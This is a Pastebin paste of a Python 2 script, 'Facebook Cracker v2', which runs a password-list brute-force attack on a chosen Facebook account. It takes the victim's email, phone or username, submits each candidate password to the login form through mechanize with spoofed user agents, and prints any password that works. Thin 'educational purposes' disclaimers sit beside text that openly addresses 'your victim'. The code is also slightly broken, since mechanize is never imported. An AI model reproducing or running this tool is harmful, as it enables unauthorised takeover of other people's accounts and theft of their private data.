Advertisement
urksiful

Facebook BruteForce Atack (bruteforce bassed in Hydra).

Dec 14th, 2014
367
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.83 KB | None | 0 0
  1. #!usr/bin/python
  2. #Facebook Cracker Version 2 can crack into Facebook Database 100% without Interruption By Facebook Firewall !
  3. #This program is for educational purposes only.
  4. #Don't attack people facebook accounts it's illegal !
  5. #If you want to crack into someone's account, you must have the permission of the user.
  6. #Mauritania Attacker is not responsible.
  7.  
  8.  
  9. import sys
  10. import random
  11.  
  12. import cookielib
  13.  
  14.  
  15. GHT = '''
  16.        +=======================================+
  17.        |..........Facebook Cracker v 2.........|
  18.        +---------------------------------------+
  19.        |#Author: Mauritania Attacker
  20.        |#Translate to Spanish: URKSIFUL
  21.        |#Contact: www.fb.com/mauritanie.forever|
  22.        |#Date: 02/04/2013                      |
  23.        |#This tool is made for pentesting.     |
  24.        |#Changing the Description of this tool |
  25.        |Won't made you the coder ^_^ !!!       |
  26.        |#Respect Coderz ^_^                    |
  27.        |#I take no responsibilities for the    |
  28.        |  use of this program !                |
  29.        +=======================================+
  30.        |..........Facebook Cracker v 2.........|
  31.        +---------------------------------------+
  32. '''
  33. print "Note: - This tool can crack facebook account even if you don't have the email of your victim"
  34. print "# Hit CTRL+C to quit the program"
  35. print "# Use www.graph.facebook.com for more infos about your victim ^_^"
  36.  
  37.  
  38. email = str(raw_input("# Enter |Email| |Phone number| |Profile ID number| |Username| : "))
  39. passwordlist = str(raw_input("Enter the name of the password list file : "))
  40.  
  41. useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  42.  
  43.  
  44.  
  45. login = 'https://www.facebook.com/login.php?login_attempt=1'
  46. def attack(password):
  47.  
  48.   try:
  49.      sys.stdout.write("\r[*] trying %s.. " % password)
  50.      sys.stdout.flush()
  51.      br.addheaders = [('User-agent', random.choice(useragents))]
  52.      site = br.open(login)
  53.      br.select_form(nr=0)
  54.  
  55.      
  56.      ##Facebook
  57.      br.form['email'] =email
  58.      br.form['pass'] = password
  59.      br.submit()
  60.      log = br.geturl()
  61.      if log != login:
  62.         print "\n\n\n [*] Password found .. !!"
  63.         print "\n [*] Password : %s\n" % (password)
  64.         sys.exit(1)
  65.   except KeyboardInterrupt:
  66.         print "\n[*] Exiting program .. "
  67.         sys.exit(1)
  68.  
  69. def search():
  70.     global password
  71.     for password in passwords:
  72.         attack(password.replace("\n",""))
  73.  
  74.  
  75.  
  76. def check():
  77.  
  78.     global br
  79.     global passwords
  80.     try:
  81.        br = mechanize.Browser()
  82.        cj = cookielib.LWPCookieJar()
  83.        br.set_handle_robots(False)
  84.        br.set_handle_equiv(True)
  85.        br.set_handle_referer(True)
  86.        br.set_handle_redirect(True)
  87.        br.set_cookiejar(cj)
  88.        br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  89.     except KeyboardInterrupt:
  90.        print "\n[*] Exiting program ..\n"
  91.        sys.exit(1)
  92.     try:
  93.        list = open(passwordlist, "r")
  94.        passwords = list.readlines()
  95.        k = 0
  96.        while k < len(passwords):
  97.           passwords[k] = passwords[k].strip()
  98.           k += 1
  99.     except IOError:
  100.         print "\n [*] Error: check your password list path \n"
  101.         sys.exit(1)
  102.     except KeyboardInterrupt:
  103.         print "\n [*] Exiting program ..\n"
  104.         sys.exit(1)
  105.     try:
  106.         print GHT
  107.         print " [*] Account to crack : %s" % (email)
  108.         print " [*] Loaded :" , len(passwords), "passwords"
  109.         print " [*] Cracking, please wait ..."
  110.     except KeyboardInterrupt:
  111.         print "\n [*] Exiting program ..\n"
  112.         sys.exit(1)
  113.     try:
  114.         search()
  115.         attack(password)
  116.     except KeyboardInterrupt:
  117.         print "\n [*] Exiting program ..\n"
  118.         sys.exit(1)
  119.  
  120. if __name__ == '__main__':
  121.     check()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement